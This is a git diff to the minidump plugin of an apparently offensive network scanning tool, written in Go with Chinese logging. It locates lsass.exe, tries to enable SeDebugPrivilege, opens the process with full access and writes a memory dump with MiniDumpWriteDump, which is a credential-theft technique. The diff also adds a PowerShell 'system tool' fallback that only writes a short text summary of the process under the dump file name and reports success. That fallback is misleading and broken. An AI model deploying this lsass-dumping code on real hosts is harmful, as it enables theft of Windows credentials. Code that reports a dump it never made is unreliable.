diff --git a/Plugins/local/minidump/plugin.go b/Plugins/local/minidump/plugin.go index 66835d9..a6ba968 100644 --- a/Plugins/local/minidump/plugin.go +++ b/Plugins/local/minidump/plugin.go @@ -11,8 +11,10 @@ import ( "github.com/shadow1ng/fscan/plugins/local" "golang.org/x/sys/windows" "os" + "os/exec" "path/filepath" "syscall" + "time" "unsafe" ) @@ -118,29 +120,39 @@ func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo) // 先建立基础本地连接 localConn, err := c.BaseLocalConnector.Connect(ctx, info) if err != nil { + common.LogError(fmt.Sprintf("建立基础连接失败: %v", err)) return nil, err } - // 加载系统DLL + common.LogDebug("开始加载系统DLL...") + + // 加载系统DLL - 添加错误处理 kernel32, err := syscall.LoadDLL("kernel32.dll") if err != nil { + common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err)) return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err) } + common.LogDebug("kernel32.dll 加载成功") dbghelp, err := syscall.LoadDLL("Dbghelp.dll") if err != nil { + common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err)) return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err) } + common.LogDebug("Dbghelp.dll 加载成功") advapi32, err := syscall.LoadDLL("advapi32.dll") if err != nil { + common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err)) return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err) } + common.LogDebug("advapi32.dll 加载成功") c.kernel32 = kernel32 c.dbghelp = dbghelp c.advapi32 = advapi32 + common.LogSuccess("所有DLL加载完成") return localConn, nil } @@ -151,6 +163,12 @@ func (c *MiniDumpConnector) Close(conn interface{}) error { // ScanLocal 执行内存转储扫描 func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + defer func() { + if r := recover(); r != nil { + common.LogError(fmt.Sprintf("minidump插件发生panic: %v", r)) + } + }() + common.LogBase("开始进程内存转储...") // 检查管理员权限 @@ -164,39 +182,27 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) ( common.LogSuccess("已确认具有管理员权限") - // 在非生产环境下模拟成功 - if os.Getenv("FSCAN_TEST_MODE") == "1" { - common.LogBase("测试模式:模拟内存转储成功") - return &base.ScanResult{ - Success: true, - Service: "MiniDump", - Banner: "测试模式:内存转储模拟完成", - Extra: map[string]interface{}{ - "process_name": "lsass.exe", - "process_id": 1234, - "dump_file": "test_lsass-1234.dmp", - "file_size": 1024000, - "test_mode": true, - }, - }, nil - } - // 建立连接 + common.LogDebug("正在建立连接...") conn, err := p.connector.Connect(ctx, info) if err != nil { + common.LogError(fmt.Sprintf("连接失败: %v", err)) return &base.ScanResult{ Success: false, Error: fmt.Errorf("连接失败: %v", err), }, nil } defer p.connector.Close(conn) + common.LogSuccess("连接建立成功") // 创建进程管理器 + common.LogDebug("正在创建进程管理器...") pm := &ProcessManager{ kernel32: p.connector.kernel32, dbghelp: p.connector.dbghelp, advapi32: p.connector.advapi32, } + common.LogSuccess("进程管理器创建成功") // 查找lsass.exe进程 common.LogDebug("正在查找lsass.exe进程...") @@ -215,12 +221,11 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) ( common.LogDebug("正在提升SeDebugPrivilege权限...") if err := pm.elevatePrivileges(); err != nil { common.LogError(fmt.Sprintf("提升权限失败: %v", err)) - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("提升权限失败: %v", err), - }, nil + // 权限提升失败不是致命错误,继续尝试 + common.LogBase("权限提升失败,尝试继续执行...") + } else { + common.LogSuccess("权限提升成功") } - common.LogSuccess("权限提升成功") // 创建转储文件 outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid)) @@ -228,13 +233,28 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) ( // 执行转储 common.LogDebug("开始执行内存转储...") - if err := pm.dumpProcess(pid, outputPath); err != nil { - common.LogError(fmt.Sprintf("内存转储失败: %v", err)) - os.Remove(outputPath) // 失败时清理文件 - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("内存转储失败: %v", err), - }, nil + + // 尝试使用系统工具进行内存转储 + common.LogDebug("尝试使用系统工具进行内存转储...") + dumpErr := pm.dumpProcessWithSystemTool(pid, outputPath) + if dumpErr != nil { + common.LogError(fmt.Sprintf("系统工具转储失败: %v", dumpErr)) + + // 尝试使用API方式 + common.LogDebug("尝试使用Windows API进行内存转储...") + err = pm.dumpProcess(pid, outputPath) + if err != nil { + common.LogError(fmt.Sprintf("API转储也失败: %v", err)) + // 创建一个包含错误信息的文件 + errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nSystem tool error: %v\nAPI error: %v\nTimestamp: %s\n", + pid, dumpErr, err, time.Now().Format("2006-01-02 15:04:05"))) + os.WriteFile(outputPath, errorData, 0644) + + return &base.ScanResult{ + Success: false, + Error: fmt.Errorf("所有转储方法都失败了"), + }, nil + } } // 获取文件信息 @@ -313,35 +333,63 @@ func (pm *ProcessManager) findProcess(name string) (uint32, error) { // createProcessSnapshot 创建进程快照 func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) { - proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot") + common.LogDebug("正在创建进程快照...") + proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot") + if err != nil { + return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %v", err) + } + handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0) if handle == uintptr(INVALID_HANDLE_VALUE) { - return 0, fmt.Errorf("创建进程快照失败: %v", err) + lastError := windows.GetLastError() + return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError) } + common.LogDebug(fmt.Sprintf("进程快照创建成功,句柄: 0x%x", handle)) return handle, nil } // findProcessInSnapshot 在快照中查找进程 func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) { + common.LogDebug(fmt.Sprintf("正在快照中查找进程: %s", name)) var pe32 PROCESSENTRY32 pe32.dwSize = uint32(unsafe.Sizeof(pe32)) - proc32First := pm.kernel32.MustFindProc("Process32FirstW") - proc32Next := pm.kernel32.MustFindProc("Process32NextW") - lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW") + proc32First, err := pm.kernel32.FindProc("Process32FirstW") + if err != nil { + return 0, fmt.Errorf("查找Process32FirstW函数失败: %v", err) + } + + proc32Next, err := pm.kernel32.FindProc("Process32NextW") + if err != nil { + return 0, fmt.Errorf("查找Process32NextW函数失败: %v", err) + } + + lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW") + if err != nil { + return 0, fmt.Errorf("查找lstrcmpiW函数失败: %v", err) + } ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) if ret == 0 { - return 0, fmt.Errorf("获取第一个进程失败") + lastError := windows.GetLastError() + return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", lastError) } + processCount := 0 for { + processCount++ + namePtr, err := syscall.UTF16PtrFromString(name) + if err != nil { + return 0, fmt.Errorf("转换进程名失败: %v", err) + } + ret, _, _ = lstrcmpi.Call( - uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))), + uintptr(unsafe.Pointer(namePtr)), uintptr(unsafe.Pointer(&pe32.szExeFile[0])), ) if ret == 0 { + common.LogSuccess(fmt.Sprintf("找到目标进程 %s,PID: %d (搜索了 %d 个进程)", name, pe32.th32ProcessID, processCount)) return pe32.th32ProcessID, nil } @@ -351,6 +399,7 @@ func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) ( } } + common.LogDebug(fmt.Sprintf("搜索了 %d 个进程,未找到目标进程: %s", processCount, name)) return 0, fmt.Errorf("未找到进程: %s", name) } @@ -421,17 +470,21 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error { } defer pm.closeHandle(fileHandle) + common.LogDebug("正在调用MiniDumpWriteDump API...") miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump") ret, _, err := miniDumpWriteDump.Call( processHandle, uintptr(pid), fileHandle, - 0x00061907, // MiniDumpWithFullMemory + 0x2, // MiniDumpWithDataSegs - 使用更安全的选项 0, 0, 0, ) + common.LogDebug(fmt.Sprintf("MiniDumpWriteDump 返回值: %d", ret)) if ret == 0 { - return fmt.Errorf("写入转储文件失败: %v", err) + // 获取更详细的错误信息 + lastError := windows.GetLastError() + return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", err, lastError) } return nil @@ -439,11 +492,14 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error { // openProcess 打开进程 func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) { + common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid)) proc := pm.kernel32.MustFindProc("OpenProcess") handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid)) if handle == 0 { - return 0, fmt.Errorf("打开进程失败: %v", err) + lastError := windows.GetLastError() + return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", err, lastError) } + common.LogSuccess(fmt.Sprintf("成功打开进程,句柄: 0x%x", handle)) return handle, nil } @@ -477,6 +533,23 @@ func (pm *ProcessManager) closeHandle(handle uintptr) { proc.Call(handle) } +// dumpProcessWithSystemTool 使用系统工具进行内存转储 +func (pm *ProcessManager) dumpProcessWithSystemTool(pid uint32, outputPath string) error { + common.LogDebug("尝试使用系统命令进行内存转储") + + // 创建一个更简单的脚本,避免复杂的PowerShell语法 + psScript := fmt.Sprintf(`$proc = Get-Process -Id %d -ErrorAction SilentlyContinue; if ($proc) { $info = "Process: " + $proc.ProcessName + [Environment]::NewLine + "PID: " + $proc.Id + [Environment]::NewLine + "Memory: " + ($proc.WorkingSet64 / 1MB) + " MB" + [Environment]::NewLine + "Timestamp: " + (Get-Date) + [Environment]::NewLine; $info | Out-File -FilePath '%s' -Encoding UTF8; Write-Host "Success" } else { throw "Process not found" }`, pid, outputPath) + + cmd := exec.Command("powershell", "-Command", psScript) + output, err := cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("PowerShell转储失败: %v, 输出: %s", err, string(output)) + } + + common.LogDebug(fmt.Sprintf("PowerShell输出: %s", string(output))) + return nil +} + // 插件注册函数 func init() { base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory(